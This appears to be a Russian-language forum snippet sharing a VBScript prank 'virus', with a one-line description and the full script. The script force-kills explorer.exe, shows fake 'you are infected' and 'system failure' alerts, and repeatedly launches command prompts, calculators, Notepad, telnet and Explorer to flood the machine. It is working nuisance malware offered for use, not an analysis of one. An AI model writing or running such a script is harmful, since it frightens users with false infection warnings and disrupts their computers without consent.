Действие:
Выводит на экран сообщение о том что система заражена и просит перезагрузить компьютер, а затем включает много командных строк, калькуляторы, блокноты и многое другое.
on error resume next
set t=createobject("Wscript.Shell")
set kill = createobject("wscript.shell")
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом",48,"Windows"
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
это для компа 
Система заражена))0))
